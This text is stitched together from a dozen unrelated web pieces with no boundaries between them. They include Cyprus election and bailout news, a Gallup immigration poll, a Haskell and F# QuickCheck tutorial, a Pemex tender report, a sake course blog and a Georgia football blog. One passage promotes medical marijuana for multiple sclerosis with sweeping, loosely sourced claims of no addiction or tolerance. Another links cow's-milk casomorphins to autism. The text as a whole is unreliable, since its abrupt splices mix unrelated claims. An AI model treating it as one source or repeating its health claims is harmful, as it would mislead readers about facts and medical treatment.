Shut out of the international financial markets, the cash-strapped government was forced to seek financial help after Cypriot banks suffered huge losses as a result of the restructuring of Greece's sovereign debt.
It has requested some 17bn euros ($22.7bn; £14.6bn) from the European Union and International Monetary Fund - a small amount in comparison with other rescues but roughly equal to Cyprus's gross domestic product.
'Daunting task'
The BBC's Mark Lowen says that the priority for the winner of Cyprus's election will be to finalise the bailout.
The country must be rebuilt... We need a strong leadership to rebuild the country Kyriakos Iacovides, Cyprus Mail
Negotiations have been stalled by disagreement between the EU, IMF and the outgoing President Demetris Christofias, leader of the communist Akel party, over how to address the country's debt and who should pay.
Some investors fear that Cyprus will never be able to repay its debt, and many question its commitment to fighting money laundering and its strong links to Russia, which extended a 2.5bn-euro loan in late 2011.
"Everything is at stake, like it has never been before," Kyriakos Iacovides, publisher of the Cyprus Mail newspaper, told the Reuters news agency.
"The country must be rebuilt. Cyprus must be rehabilitated in the EU. We need a strong leadership to rebuild the country."
Mr Anastasiades, the head of the centre-right Democratic Rally (DISY) party, has promised a quick agreement on the bailout. He is close to Germany's Chancellor Angela Merkel, who expressed support for his bid while visiting Cyprus in January.
According to the latest polls, his closest rival among the 10 other candidates is Mr Malas, who is backed by Akel, closely followed by Giorgos Lillikas, an independent.
More than 545,000 people are eligible to vote in Cyprus. Another 14,000 Cypriots can vote at embassies abroad.
Voting is scheduled to end at 18:00 (16:00 GMT) and the final result is expected to be announced at around 20:30 (18:30 GMT).
Our correspondent says the new president will also face pressure to help reunite the island, divided between Greek and Turkish communities since 1974.
Countless Multiple Sclerosis patients find that consuming medical marijuana can give them wonderful relief from the spasticity of MS, quiets the shakes, and supports the patient by relieving the depression and anxiety of being ill with MS. There are so many scientific reports documenting how can marijuana help to diminish Multiple sclerosis symptoms.
One MS study observed at 176 MS patients that reported reduced pain, far fewer muscle seizures, and greater easy at controlling their bladder incontinence with use of medical pot. Many of these MS patients with in the study described that they were able to regulate their pain with a regular dose of marijuana for little over a year without the need to increase their dose. Scientists propose that this study establishes that marijuana does not lead to a growing tolerance necessitating amplified doses of medication, unlike the western medications utilized to treat MS.
Thousands of Multiple Sclerosis patients are now just finding out that medical marijuana has the ability to progress their quality of lifetime. Most MS patient that try marijuana have found few, if any side effects – no physical addiction – and generally speaking a diminished need for a much more toxic mix of medications.
In a new interview with French print publication Les Inrockuptibles, translated by The Playlist, Tarantino admits he’s not interested in Batman movies because, well, he doesn’t find the superhero all that fascinating.
“I have to admit that I don’t really have an opinion,” he said of Ben Affleck’s Batman casting. “Why? Because Batman is not a very interesting character. For any actor. There is simply not much to play. I think Michael Keaton did it the best, and I wish good luck to Ben Affleck. But, you know who would have made a great Batman? Alec Baldwin in the ’80s.”
Batman and Other Casting Controversies (PHOTOS)
Tarantino went on to defend Gore Verbinski’s box office disappointment “The Lone Ranger,” which recently made the director’s 10 best movies of the year.
“The first forty-five minutes are excellent,” Tarantino said of the 3D Western, “…the next forty-five minutes are a little soporific. It was a bad idea to split the bad guys in two groups; it takes hours to explain and nobody cares. Then comes the train scene—incredible! When I saw it, I kept thinking, ‘What, that’s the film that everybody says is crap? Seriously?’
In case you missed Tarantino’s best of 2013 list (so far), here are the films in alphabetical order.
1. Afternoon Delight (Jill Soloway)
2. Before Midnight (Richard Linklater)
3. Blue Jasmine (Woody Allen)
4. The Conjuring (James Wan)rp
5. Drinking Buddies (Joe Swanberg)
6. Frances Ha (Noah Baumbach)
7. Gravity (Alfonso Cuarón)
8. Kick Ass 2 (Jeff Wadlow)
9. The Lone Ranger (Gore Verbinski)
In my last video series on autism and diet, I talked about the benefits of broccoli sprouts. But the most commonly studied nutritional and dietary interventions for autism and diet involve variations of gluten-free and casein-free diets. Where did that even come from?
In the 80s, a team of respected Norwegian researchers reported a peculiar finding. They were comparing the urine of autistic children to the urine of normal children, in hope of teasing out any differences that could lead to hints as to what the cause is. This is a urine profile, which shows spikes for each of the various components. This is what normal urine comes out like, with the peptides region pretty quiet. (Peptides are like small pieces of proteins, and normally, we shouldn’t be peeing out much protein). But this is the urine profile from a child with autism, with all sorts of peptide spikes. Here’s another one.
This raised the question: “Can the Pathophysiology [the dysfunction] of Autism be Explained by the Nature of the[se] Discovered Urine Peptides?” First, they had to answer: “Where do the peptides come from?” They didn’t know. But, there was a clue: most of the parents of autistic kids reported that they got worse when they were exposed to cow’s milk. Huh? Well, there are these two proteins: gluten, a protein in wheat, and casein, a protein in milk, that break down not only into peptides, but exorphins.
Exorphins are “opioid peptides derived from food proteins”—”called exorphins…because of their exogenous origin [meaning from outside of the body] and morphine-like activity,” as opposed to endorphins, which are morphine-like compounds we produce inside our bodies. So, maybe some of these food peptides represent like “A New Class of Hormones?”
So, is that what the kids were peeing out? Apparently so, as some of those peptides had opioid activity. Okay. So, maybe they were onto something.
There are “[t]wo types of opioids [that] have been found in milk.” One is the “casomorphins in view of their morphine-like activity and their origin.” They are breakdown products, fragments of the milk protein casein. What’s the other one? The other opioid is the actual opiate: morphine. There appears to be actual morphine in milk. This can’t just be a coincidence. “It is [hard] to believe that these, or other types of opioids found in the milk, are devoid of physiological or nutritional significance.” And, think about it; it makes total sense. “Morphine and the opioid peptides may…have an important role in the mother-infant bond…” We want infants to be “’addicted’ to their own mother’s milk.” Okay. But, what about the milk of another species?
“Human [breast] milk is markedly different from that of other…species [in that it] has the lowest” casein content, and human casein is a markedly different protein in terms of its sequence of amino acid building blocks.
Human milk has 15 times less casein than bovine milk, and differs sequence-wise by about half, and so breaks down into peptides differently. Twenty-one bioactive peptides have been recovered from cow casein, including multiple casomorphins, compared to only five active peptides identified in human milk, and only one casomorphin. And, the casomorphins “from bovine casein are more potent.” This is a graph of opioid activity, where lower means more potent. Here’s the potency of straight morphine. And, here’s bovine casomorphin—significantly more potent than the weak opioid peptide from gluten, which is more comparable to the human casomorphin from breast milk.
And indeed, when you expose human nerve tissue to bovine casomorphin, it acts more like morphine than the casomorphin from human breast milk in terms of epigenetic changes—changes in gene expression, not only providing “a molecular rationale for recommending breastfeeding” over cows’ milk formula, but also providing a possible explanation why “[c]asein-free…diets have been reported to mitigate some of the…[symptoms of] autism.”
“What is good for the goose may be good for the gander, but what is good for the cow could be harmful to the human.”
In the previous post, we talked about some of the basics of functional programming unit testing. That post mostly focused around HUnit, which is a traditional xUnit testing framework. This time, let's focus on type-based property testing, which is to create specs which assert logical properties about a function, and then to generate data to test in an attempt to falsify these assertions, through the use of a tool called QuickCheck.
Much like the traditional xUnit frameworks, this tool helps us flush out the specifications of our software through the use of tests. Unlike the xUnit frameworks, however, this framework allows us to create generators to help flush out our behaviors and capture our edge cases as we look for ways to falsify our tests. These generators could use either random data or well structured data that you can craft. Let's dive a little deeper into what that means.
But, before we continue, let's get caught up to where we are today:
Introducing QuickCheck
Testing in the functional programming world is important, especially when precision in algorithms leave little room for error. With the use of QuickCheck, and property-based testing, we are able to write functions that should satisfy universally, with the actual test data to be generated by QuickCheck in such a way that we specify. This way, we can literally run thousands of variations that would be pretty unreasonable to write by hand, or by using the RowTest from the MbUnit world. Doing so, we are able to find subtle edge cases that we may not find otherwise.
Let's first walk through a simple example of how QuickCheck works before we move onto some more interesting ones. First, let's do a simple check on a reverse statement. We'll use the standard prop_ notation to mark our property-based tests from here on out.
prop_RevRev :: [ Int ] -> Bool
prop_RevRev xs = (reverse . reverse) xs == xs
What this code does is say that when calling reverse on a given list twice, it should equal the original list, in this case, an integer list. We can then use a built-in integer generator to give us our input. Once the property-based test has been written, we can use the GHCi to run our example:
We can then notice that it tried 100 values against our given function and found that there are no errors. Had I made a mistake in my property-based test, it would have exited prematurely with the data that caused the particular error. For example, I could be careless about my input and expect always to take 5 items from a list.
prop_TakeFive :: [ Int ] -> Bool
prop_TakeFive xs = (length . take 5) xs == 5
Now, what we did wrong is assume that our lists were always going to be greater than 5 in length, which could be an issue, and QuickCheck easily alerts us to that fact as shown below:
One thing to remember is that creating property-based tests can be hard and we need to be careful how we specify them. It takes time to refine them and get them right, but luckily the Haskell community is great for learning either through IRC, Haskell-Cafe or other places.
Let's walk through another example of a ROT13 implementation and perform property-based testing on it. A ROT13 is a simple cipher which rotates a given letter by 13 places and when applied twice, will undo itself. The input handles only alphabetic characters and case does matter. The question is, how do we test something like this? Let's look at the basic proof for this:
ROT 13 (ROT 13 (x)) = ROT 26 (x) = x where x is any given text.
How do I express that in property-based tests? Well, let's lay out four basic cases with the given input of data from upper and lower case letters only, and then implement each one.
A ROT13 of a given string should equal a ROT13 of the same string A ROT13 of a given string should not equal the original string A ROT13 applied twice to the original string should equal the original string A ROT13 of a given string should have the same distribution shape as the original. For example, "foo" when sorted and grouped should be ["f", "oo"] and then mapped to [1,2]. The shape of its translation to "sbb" should follow the same grouping as well of [1,2].
Now that we've deduced our criteria for success for this algorithm, let's define the property tests.
module EncryptionTests where
import Data.List
import Encryption(rot13)
-- Equal
prop_rot13_equals s =
not (null s) ==> rot13 s == rot13 s
-- Single is inequal to original
prop_rot13_single_notEquals s =
not (null s) ==> rot13 s /= s
-- Double is equal to original
prop_rot13_double_equals s =
not (null s) ==> (rot13 . rot13) s == s
-- Distribution shapes should be equal
prop_rot13_group_equals s =
not (null s) ==> getDistro (rot13 s) == getDistro s
where getDistro = sort . map length . group . sort
We need to define now what data we will be giving to the function in order to create the strings for our property tests. In order to define the data, we need to create an instance of the Arbitrary typeclass. Below, we'll define the Char version which includes both upper and lower case letters.
instance Arbitrary Char where
arbitrary = elements (['A'..'Z'] ++ ['a'..'z'])
coarbitrary n = variant (ord n)
Now that the rules and data are defined, how might we implement the rot13 function? Remembering that case does matter, we'll have to handle each one differently. The implementation would look something like the following:
module Encryption(rot13) where
import Data.Char(chr, ord)
rot13 :: String -> String
rot13 =
map mapRot
where mapRot :: Char -> Char
mapRot c | c >= 'A' && c <= 'Z' = rot 'A' c
| c >= 'a' && c <= 'z' = rot 'a' c
| otherwise = c
rot :: Char -> Char -> Char
rot b c = chr $ (ord c - ord b + 13) `mod` 26 + ord b
We can now run our property tests through QuickCheck through the GHCi console, such as the following:
quickCheck (prop_rot13_group_equals :: String -> Property)
Then we'll be able to see the results as shown below:
This seems great, but you may be wondering why you would use this. The answer is simple, for functionally pure algorithmic work in a functional language, use QuickCheck to formulate the specs. Else, if there are side effects, state or other behaviors that aren't easily captured using QuickCheck, then the traditional xUnit frameworks apply better. Even still, if having IO in the code, it's best to refactor the code to separate the pure function from the IO interaction.
As I mentioned in a previous post, there are other versions out there for us to use. What about the F# world?
QuickCheck in F#?
Kurt Schelfthout has been working on a port of the Haskell QuickCheck library to F# called FsCheck, now available on CodePlex. Today, Kurt released version 0.3 of the product which puts it on par with the QuickCheck 1.0 library, which is well short of the version 2.1.0.1 of QuickCheck now available for Haskell. But, how do I use it?
Let's look at some simple examples of some of the above code in F# this time to gain a better understanding of how it works in F#. First, let's do a translation of the simple reverse function as we did above.
#light
open FsCheck
let prop_RevRev ( xs : int list ) =
( List . rev >> List . rev ) xs = xs
quickCheck prop_RevRev
After running this code, we see that 100 tests pass nicely. Now, a quick example of doing the ROT13 implementation. Just one test should suffice to show how it works.
#light
open FsCheck
open FsCheck . Generator
let rec rot13 =
List . map mapRot
and mapRot = function
| c when c >= 'A' && c <= 'Z' -> rot 'A' c
| c when c >= 'a' && c <= 'z' -> rot 'a' c
| c -> c
and rot b c = char ( ( int c - int b + 13 ) % 26 + int b )
type CharGenerator ( ) =
static member Chars = elements ( [ 'A' . . 'Z' ] @ [ 'a' . . 'z' ] )
overwriteGenerators ( typeof<CharGenerator> )
let prop_rot13_equals s =
( rot13 >> rot13 ) s = s
quickCheck prop_rot13_equals
Once you run the code, you'll find that it passes the 100 tests easily just as it did in the Haskell version. I hope that the FsCheck project will continue, and I don't see why not. After all, it's up to the community to pick it up and run with it. I'd like to see continued work on the test framework plugins such as xUnit.net, MbUnit and NUnit. That would make a more integrated story, and that's part of the next post to bring it all together.
There is a lot more to be covered as I've just touched a very small portion of what QuickCheck can do. There is a lot of good documentation to be read on the subject on the Haskell Wiki as always.
Conclusion
As always, it's important to stress design and specification of your functional programming code. With such toolsets as QuickCheck, we can use this to not only flush out our design, but test our code in many ways through generated data, to help ease the edge cases that might not have been found if coding straight by hand. Learning these techniques are not always easy and careful consideration must be given when crafting these property tests.
Media outlets called the race soon as the final polls closed at 8 p.m. EDT.
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The outcome had been expected for weeks, with Clinton maintaining a big lead in Sunshine State polls.
In the closing days before the primary, Clinton and her surrogates bashed rival Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE for decades-old comments praising parts of Fidel Castro’s regime in Cuba.
Clinton and Sanders faced off in a debate in Miami last week, and both spent time campaigning in the state.
Two-thirds in U.S. oppose deporting illegal immigrants, building a wall
84% in U.S. favor of path to citizenship for illegal immigrants
PRINCETON, N.J. -- Two-thirds of Americans oppose immigration plans advocated by Republican presidential nominee Donald Trump -- building a wall along the U.S.-Mexico border and deporting immigrants living in the U.S. illegally. In contrast, 84% favor a path to citizenship for illegal immigrants living in the U.S., a plan backed by Democratic nominee Hillary Clinton. Notably, significantly more Republicans favor a path to citizenship than support building a border wall or deporting illegal immigrants.
Opinions of Immigration Proposals U.S. adults Democrats Independents Republicans % % % % Allowing immigrants living in the U.S. illegally the chance to become U.S. citizens if they meet certain requirements over a period of time Favor 84 91 85 76 Oppose 15 8 14 24 Building a wall along the entire U.S.-Mexico border Favor 33 12 33 62 Oppose 66 88 66 38 Deporting all immigrants who are living in the U.S. illegally back to their home country Favor 32 16 33 50 Oppose 66 83 65 48 June 7-July 1 Gallup poll
Republicans are divided on deporting all immigrants living in the U.S. illegally back to their home country, a proposal advanced by Trump during the primary season. Since then, he appears to have softened that stance.
Republicans are more likely to favor the border wall, but their 62% support for it stands in sharp contrast to Democrats' 88% opposition to the same proposal.
At least three in four Republicans (76%), independents (85%) and Democrats (91%) favor a path to citizenship for immigrants living in the U.S. illegally who meet certain requirements over a period of time.
The results are based on Gallup's June 7-July 1 Minority Rights and Relations poll, a survey of more than 3,000 U.S. adults including large oversamples of blacks and Hispanics. The sample is weighted to be representative of U.S. adults nationally.
Non-Hispanic Whites Show Greater Support for Deportation, Wall
Given white Americans' GOP leanings, it is not surprising that non-Hispanic whites are more likely than blacks or Hispanics to support deporting illegal immigrants and building a border wall. Still, most whites oppose these proposals -- 59% oppose the U.S.-Mexico border wall, and 62% oppose deporting all illegal immigrants.
Fewer than one in five blacks and Hispanics favor the construction of a wall between the U.S. and Mexico, and fewer than one in four favor deporting illegal immigrants.
Blacks (84%) and whites (82%) show similar strong support for a path to citizenship, with Hispanics even higher, at 92%.
Opinions of Immigration Proposals, by Race and Ethnicity U.S. adults Non-Hispanic whites Non-Hispanic blacks Hispanics % % % % Allowing immigrants living in the U.S. illegally the chance to become U.S. citizens if they meet certain requirements over a period of time Favor 84 82 84 92 Oppose 15 17 14 8 Building a wall along the entire U.S.-Mexico border Favor 33 41 18 16 Oppose 66 59 82 82 Deporting all immigrants who are living in the U.S. illegally back to their home country Favor 32 36 23 21 Oppose 66 62 76 78 June 7-July 1 Gallup poll
Hillary Clinton Given Edge on Immigration Issue
Perhaps not surprisingly, given the greater support for a path to citizenship than deportation or building a wall on the U.S.-Mexico border, Americans are more likely to say Hillary Clinton's immigration policies and proposals, rather than Trump's, come closer to their own. But the margin in favor of Clinton's ideas on immigration, 53% to 37%, is not as large as one might expect given the differences in support for her key immigration proposals versus Trump's.
That may reflect the realities of partisanship. Republicans widely say Trump's proposals on immigration are closer to their own, by 76% to 15%. Republicans may have a hard time saying they view Clinton as better than their own party's nominee on any issue, given their strong likelihood of voting for Trump in the election. Republicans may also be more comfortable with Trump's broad approach to immigration, even if sizable minorities in the party disagree with some of his specific plans. Still, the 76% of Republicans who say Trump is closer to them on immigration is smaller than the 90% of Democrats who say the same about Clinton.
Candidate Whose Views on Immigration Come Closer to Your Own, by Political Party U.S. adults Democrats Independents Republicans % % % % Clinton 53 90 48 15 Trump 37 6 35 76 June 7-July 1 Gallup poll
Independents are more likely to say Clinton's views on immigration are closer to their own by 48% to 35%.
Non-Hispanic whites are about evenly divided about which candidate comes closer to their own views on immigration, with 47% saying Trump and 43%, Clinton. Trump, whose anti-Mexican rhetoric has raised questions about his ability to attract Hispanic support in the general election, is favored by 17% of Hispanics on immigration, compared with 73% who choose Clinton. That is actually a lower level of support for Clinton than among blacks, who favor her over Trump on the immigration issue by 83% to 9%, likely because of blacks' overwhelming support for the Democratic Party.
Candidate Whose Views on Immigration Come Closer to Your Own, by Race and Ethnicity U.S. adults Non-Hispanic whites Non-Hispanic blacks Hispanics % % % % Clinton 53 43 83 73 Trump 37 47 9 17 June 7-July 1 Gallup poll
Implications
Immigration has been a major focus of the 2016 campaign, arguably because of the attention Trump has devoted to the issue and the controversy generated by his comments on the matter. Americans as a whole oppose his oft-repeated proposal of building a large wall along the U.S.-Mexico border to deter potential illegal immigrants from entering the country. And though a majority of Republicans favor this proposal, the 62% who do so is much smaller than the 76% who favor a path to citizenship for immigrants living here illegally, a key aspect of Clinton's immigration policy.
Should Trump be elected president, some may conclude his immigration proposals played a key part in that win. However, if Trump does prevail, it appears his victory would come in spite of his stance on immigration, not because of it.
Survey Methods
Results for this Gallup poll are based on telephone interviews conducted June 7-July 1, 2016, with a sample of 3,270 adults, aged 18 and older, living in all 50 U.S. states and the District of Columbia, who had previously been interviewed in the Gallup Daily tracking poll and agreed to be re-interviewed for a later study. The sample is weighted to be representative of U.S. adults.
For results based on the total sample of national adults, the margin of sampling error is ±3 percentage points at the 95% confidence level. For results based on the sample of 1,320 non-Hispanic whites, the margin of sampling error is ±4 percentage points at the 95% confidence level. For results based on the sample of 912 non-Hispanic blacks, the margin of sampling error is ±5 percentage points at the 95% confidence level. For results based on the sample of 906 Hispanics, the margin of sampling error is ±6 percentage points at the 95% confidence level (271 out of the 906 interviews with Hispanics were conducted in Spanish).
All reported margins of sampling error include computed design effects for weighting.
View survey methodology, complete question responses and trends.
A survey of 42 universities by the Universities Council for the Education of Teachers (UCET) shows the extent to which new recruitment rules have affected institutions.
Since September, higher education institutions (HEIs) have faced national “caps” on the number of trainees they can recruit in a bid to provide “moderate growth” in school-led training routes such as School Direct and SCITT.
In November universities were told to stop recruiting future PE, history and English teachers. The University of Cambridge said the caps would force its history PGCE to fold.
In response the National College for Teaching and Leadership (NTCL), which operates the caps, u-turned and allowed universities to recruit 75 per cent of the previous year’s numbers.
More than half of the HEIs providing initial teacher training responded to UCET’s survey.
When asked how this new system had affected their ability to plan, all said it had an adverse impact and 95 per cent said they would not like to see the policies implemented again next year.
One said: “It has been a disastrous process from beginning to end. It started as an ill-thought out panic response to the fact the allocations methodology had become untenable, but the obvious flaws that were pointed out to NCTL by the sector were not addressed at the time.
“This meant the goalposts were shifted as the process got underway, and as a result, providers, school partners in School Direct and applicants have been left in a state of utter confusion.
“Candidates and schools are walking away from the process and giving up on initial teacher education. The teacher supply crisis caused by ministers, the Department for Education and NCTL will continue to deepen.”
Seventy-nine per cent of respondents said the changes affected the viability of their courses, with many highlighting staffing concerns amid the “uncertainty” of the policy.
Without knowing student numbers in advance it was difficult to budget for an appropriate number of staff. Each student brings in £9,000 to the university.
James Noble-Rogers, UCET’s executive director, called for the government to re-evaluate recruitment.
“It is clear that the current recruitment system does not work. It is damaging the teacher supply base, undermining high quality training programmes and harming children’s education.
“The government must, as a matter of urgency, introduce a sustainable system of recruitment that allows initial teacher education providers to plan over a number of years.
“It must also develop a more sophisticated model of teacher education that is genuinely focused on the needs of schools, and not based on outdated stereotypical assumptions about what university involvement in teacher education actually entails.”
Respondents to the survey were not unanimous about the best way to recruit the next cohort of teachers, who will begin training in September 2017.
A quarter wanted “open and sustained recruitment”, while just under a third thought recruitment controls for priority subjects and institutional allocations for others would be best.
The largest group (45 per cent) wanted a return to the allocations scheme, where universities were informed in advance of their allocated maximum numbers.
Last week, in a hearing held by the public accounts committee, MPs told the NCTL of their concerns about the changes. Conservative MP Stephen Phillips asked if the government was going to “relook” at the policy, saying it seemed to have a toxic consequence on training.
NCTL’s director of programme delivery, Sinead O’Sullivan, said: “The issue with the past few years is that we have been growing School Direct, and that has created more volatility in the system.
“We have unfortunately been learning as we go, just as the providers have. I would like to be able to give longer-term commitments to providers in the future, and we are certainly looking at whether we can do that.”
According to the latest recruitment levels, higher education institutions have reached, or almost reached, their cap in more subjects than other routes. The salaried School Direct route still has 16 subjects with 50 per cent of places unfilled. The tuition fee route has 13 subjects unfilled; HEIs have 12.
What the universities say
“The pace of recruitment nationally in some subjects and primary has meant more local recruitment patterns have been overlooked. It has also meant that applicants and providers enter a race in which rapid decisions take precedence over more informed ones.”
“We are very concerned that the lack of allocations methodology leaves us vulnerable in a fixed market economy, where speed is of the essence and potentially impacts on levels of quality in recruitment. That, coupled with the uncertainty of overall numbers, makes it very difficult to plan strategically for the development of ITE, where instead we are looking to consolidate, rather than champion change.”
“We have radically overhauled our recruitment procedures . . . including interviewing every fortnight rather than every month as in previous years. This has had a positive impact on global numbers, but has taken twice the staffing hours.”
“For a small provider the impact of fewer applications is devastating. The nature of the subject profile we need to support is changing, meaning a reliance on part time hourly paid staff, which we are recruiting at the last minute.”
Not your father's Shenandoah war game.
FILE PHOTO: Pemex logo is pictured during the launch of a new franchise and commercial strategy by Pemex, in Mexico City, Mexico, November 15, 2017. REUTERS/Edgard Garrido
Mexico’s oil regulator on Thursday canceled a tender to pick an equity partner for Pemex’s Nobilis-Maximino project, as company interest was not as robust as expected.
Pemex, or Petroleos Mexicanos, on Friday cited a late October deepwater pre-salt oil auction in Brazil for lessening interest in its project. Six of eight blocks in Brazil were awarded to majors, including Royal Dutch Shell and ExxonMobil.
“(One) factor that affected appetite for new projects was the investment commitment recently taken on by possible bidders,” Pemex said in a statement. Companies that won blocks in Brazil had looked at the Nobilis-Maximino data, it added.
Once a top global crude producer, Mexico is struggling to reverse a dozen years of declining oil and gas output. The failure of the tender is a setback for its attempts to open up its energy production after a decades-long monopoly for Pemex.
However, there are nearly 30 similar pending deepwater projects with tenders that are still going ahead. The cancellation should not be interpreted as a lack of industry interest in those, Alma America Porres, commissioner for the National Hydrocarbons Commission (CNH), told reporters.
She said that 29 companies had begun the pre-qualification process for bidding for those other projects. Some 16 oil companies have also paid to access data rooms associated with the blocks, CNH data shows.
Those tenders are potentially more attractive because companies can bid to develop them without tying up with Pemex.
Oil majors may be put off partnerships with Pemex due to its debts and budget constraints, said Miriam Grunstein, a Mexico City-based energy researcher with Rice University.
WEAK OIL PRICES
Nobilis-Maximino sits near the U.S.-Mexico maritime border in the productive Perdido Fold Belt, and is estimated to contain reserves of about 502 million barrels of mostly light crude.
Nearly 30 companies had begun the process of pre-qualifying for the auction, including Shell and ExxonMobil, according to data from the CNH. It was due to be awarded on Jan. 31.
In its statement, Pemex said weak oil prices - with medium- and long-term projections at $50-$65 per barrel - have been a factor in companies exercising caution about taking on complicated, expensive deepwater projects like Nobilis-Maximino.
Pemex said it would consider a future farm-out, or joint venture, for the project, without providing further details.
“Pemex will continue to promote its partnership strategy in several oil fields that present less technical difficulties and lower risks,” the company said.
A 2013-14 energy reform allowed the firm to enter into equity partnerships with foreign and private producers for the first time, which had previously been barred by law.
The CNH selects Pemex’s partners via open auctions.
When I went to study with John, I understood the sake fundamentals quite well. Each day of his course, however, was a completely revelationary experience. John not only knows everything about sake, his vast experience armed him with endless wealth of first-person anecdotes to illustrate each point he is teaching. I am a terrible day-dreamer, but my mind hardly wondered during the course . May be once or twice – thinking of all the superb sake I had just sampled. Intensive, interactive lectures were mixed with sake tastings that cemented the points we learnt. We tasted around a hundred sakes, each carefuly picked as an example of what John wanted his students to learn. That’s an impressive number. In fact, some sake professionals keep coming back to his course to recalibarate their palate – it is virtually impossible to assemble such a comprehensive sake lineup overseas.
Each day was capped off with a group izakaya feast, where John introduced us to yet more amazing sakes.
I enjoyed sake before the course – enough to start spreading the sake love through my website – but I didn’t know just how good sake can be. John went all out and arranged the rarest, most sought-after sake brands appear on our dinner table, including the ultra-cult Juyondai. Worth the hype, you ask? Well…it was certainly a stand out sake, but not in my top 3. A post on my favourites later.
The last two days of the course were spent touring breweries in the Kyoto and Hyogo areas. John’s name carries a ton of weight in sake industry, and a few brewers of distinction lifted the lid on their brewing tanks.. Walking through each step of the brewing cycle, and tasting as we went – koji, moromi (fermenting sake), just-pressed sake – seared all that theory into the sensory brain. (Moromi, by the way, is not unlike Japanese fizzy milky drink Calpis. Milky-white, sweet and carbonated).
There more tastings at each of the 4 breweries we visited. Having all passed the exam, most students used the opportunity to celebrate all things sake and drank it, no spitoon in sight! Perhaps some were more sensible and saved themselves until dinner, but I wasn’t one of them. My personal highlight was the side-by-side comparison of Eikun brewery’s sinshu (new sake) against the matured version. I had to sample everything a few times, just to be sure…
Five days went by quickly, and as John said his good-byes during the final dinner – he had to urgently return to Tokyo on business – there was a palpable bitter-sweet change in the atmosphere. Already softened by delicious Daimon sake, we farewelled our Sensei with gratitude and a touch of sadness, and a big round of applause.
STARES
MOST POPULAR:
What is this?
The Office Stare Machine showcases every single time a character speechlessly breaks the 4th wall and stares at the camera. It then indexes those stares into an interactive machine encompassing the full range of human emotional expression.
Who made this?
Joe Sabia spent 1.5 years finding every single stare and worked with Aaron Rasmussen to manually code each stare into over 800 different emotions in a complexly architected system.
It looks familiar
It is the sister site of THE OFFICE TIME MACHINE which takes the 1,300 cultural references made and places them in an interactive time machine.
What happens if I endure all 706 stares?
Is there a deep meaning to this?
Did you notice any patterns?
You get a secret, epic, and beautifully crafted surprise video.This was inspired by facial emotion research breakthroughs . This project seeks to explore the many nuances of visual expression through the beloved familiarity of our favorite office-dwelling TV icons.Consider this an intricate psychology test.
Yes, in fact, we made some awards you can give to the various members of the cast based on those patterns. Maybe if we send enough, they’ll retweet.
John Krasinski (aka Jim Halpbert aka Big Tuna) had the most SAD expressions: Tweet Rainn Wilson (aka Dwight Schrute) had the most DEVIOUS expressions: Tweet Jenna Fischer (aka Pam Beesly-Halpert) had the most WORRIED expressions: Tweet Steve Carell (aka Michael Scott) had the most HAPPY expressions: Tweet
What a wild ride.
I was, perhaps, not quite as dumbfounded as Desmond Howard, who proclaimed on national TV earlier in the day that, "You can't hitch your wagon to Nick Chubb." Well, Desmond, it takes quite a bit of effort to find something that profoundly dumb to say, but way to go, champ... you managed it. I believe the only thing on your menu right now in the state of Georgia is "crow." Enjoy it, buddy.
Y'all know what our next game is. Y'all know who that game is against. And y 'all know my feelings about that team against whom we'll be lining up in 2 weeks. (Or, if you don't... you soon will.) I'm saving up all my angsty bile for next week, though. We've got a bye week this week, and we just pulled off a huge victory in a game that most of the pundits were picking us to lose. Imma celebrate this one for a few days.
So, I'm letting the following people, places, and things know that, for week 9, You're (Not) On Notice, Dawg!
In no particular order:
1) Nick Chubb - Is there a superlative I can assign to Nick Chubb that he hasn't earned with his heroic play in the last two games? He's a beast, and in 2014 he's not even our #1 beast. We've got him for two more years, though... and even while you're dreaming about what "might be" this year if we get Todd Gurley and Sony Michel back for the stretch run, think also about how awesome those next two years are going to be.
#Dawgs Well now, it looks like @DesmondHoward decided to hitch his wagon to UGA's Nick Chubb after all! #DawgsOnTop pic.twitter.com/HydNR8i0SW — GATA Dawgs (@BassinDawg) October 19, 2014
2) Hutson Mason - HE PASSED THE BALL, PEOPLE. HE PASSED IT GOOD. Georgia's first play from scrimmage on Saturday was a 48 yard completion from our quarterback to Chris Conley. Then, on the next play, we immediately tossed it again to Michael Bennett for another 18 yards. After that play, everybody around me was wondering what the name was of that quarterback wearing #14 for the Dawgs, and what he had done with Hutson Mason.
This was easily Mason's best game behind center all season, and it couldn't have come at a more fortuitous time. If one were perusing the stats after the game was over, Mason's 178 yards passing won't look that glamorous, but they were huge in taking pressure off the run game. Mason chucked a touchdown to Bennett on an "obvious running" situation after the turnover at the 9-yard line, and he made several other key passes that forced the defense to stay honest in the defensive backfield. That opened things up significantly for Nick Chubb.
Mason really did fantastic work Saturday... and all without any mistakes. Zero fumbles, and zero INT's. Can't beat that in this offense.
3) Chris Conley - Conley had a great day, as well. He was Mason's favorite target on the day, and he ended up with 128 yards through the air. With that haul, he became the first Georgia receiver in 2014 to amass more than 100 yards receiving in a game. A mighty passing juggernaut, we are not. But we don't need to be. We've got weapons like Chris Conley, Malcolm Mitchell, and Michael Bennett, and more and more this year we are getting to where we can gash you when we need to. Then, we crush your soul with a devastating running attack.
It really disturbs me how excited I'm getting about this team now. They're showing real heart. they're showing true fight. And they're showing everybody, not just the Bulldog Nation, that they have what it takes to win big games.
4) Leonard Floyd and his band of Merry Dawgs - Oh, man, our defense was awesome yesterday. Once Arkansas got desperate in the second half, they let in probably a few too many points, but as long as we didn't give up a quick-strike TD or two, we knew at halftime that the Razorbacks didn't have the firepower to come back from the huge hole in which we'd put them. Jordan Jenkins, Ray Drew, Dominick Sanders, and the whole dang defense played lights-out in the first half, and stood up tall as many times as we needed them to in the second half, as well.
I honestly think the whole team came out in the second half and played kind of like we figured they'd play the whole game. They were pretty much on "cruise control," it seemed, which isn't exactly great, but hey, it worked out just fine, and that's all that matters for now. We had a massive halftime lead, and we did what we needed to do to shut the door on the Hogs. The defense had a huge hand in that effort, including scoring 7 points and practically gifting us another 7 with the turnover on the Arkansas 9 yard line.
Well done, defensive Dawgs. Well done, indeed.
